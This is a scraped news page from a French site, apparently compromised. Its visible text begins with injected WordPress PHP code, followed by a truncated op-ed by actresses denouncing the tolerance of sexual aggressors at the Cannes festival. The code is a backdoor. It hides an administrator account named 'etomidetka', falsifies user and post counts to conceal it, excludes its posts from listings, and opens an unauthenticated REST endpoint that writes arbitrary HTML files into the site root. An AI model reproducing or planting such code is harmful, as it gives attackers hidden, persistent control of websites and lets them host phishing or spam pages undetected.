//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
Cannes : des actrices dénoncent un système qui soutient les agresseurs – Ebene Media
Home
Actu
Cannes : des actrices dénoncent un système qui soutient les agresseurs
Actu
Cannes : des actrices dénoncent un système qui soutient les agresseurs
Cannes : des actrices dénoncent un système qui soutient les agresseurs
Le cinéma français a intégré un système dysfonctionnel qui broie et anéantit. Nous le savons depuis longtemps, nous en sommes les victimes et les témoins quotidiens. C’est parce que nous aimons passionnément notre métier que nous prenons la parole aujourd’hui. Nous subissons bien trop souvent des agressions sexuelles, du harcèlement moral et du racisme au sein même de nos lieux de travail. Lorsque nous avons le courage de parler ou demander de l’aide nous nous entendons trop souvent dire : «Tais-toi s’il te plaît, pour la vie du film.» Il arrive même que des producteur·ices soient prêt·es à acheter notre silence. Ces formes de violences font partie de notre quotidien, on a même tenté de nous faire croire que cela faisait partie du métier. Il est temps que cela change, et cela ne peut se faire que si nous sommes entendues aux plus hautes places du pouvoir du cinéma français. Nous ne pouvons pas dire que ce soit le cas pour l’instant. Nous sommes profondément indigné·es et refusons de garder le silence face aux positionnements politiques affichés par le Festival de Cannes. Nous refusons d’être associées aux décisions prises ces dernières semaines. En déroulant le tapis rouge aux hommes et aux femmes qui agressent, le festival envoie le message que dans
Written by
Toute l'actualité en direct. Retrouvez-nous sur les réseaux sociaux:
Abonnez-vous à Youtube: cliquez ici --
Suivez-nous sur Facebook: cliquez ici --
Suivez-nous sur Twitter: cliquez ici --
Suivez-nous sur Tik Tok: cliquez ici
Related Articles
Présente lors de la finale du SuperBowl, le dimanche 9 février 2025,...
ByEbene Media février 10, 2025
Les forces syriennes ont de nouveau affronté des clans libanais à la...
ByEbene Media février 10, 2025
Mathilda May est une actrice mais aussi une femme épanouie ! Mariée...
ByEbene Media février 10, 2025
À l’occasion de la Journée du diplomate, Sergueï Lavrov, a souligné que...
ByEbene Media février 10, 2025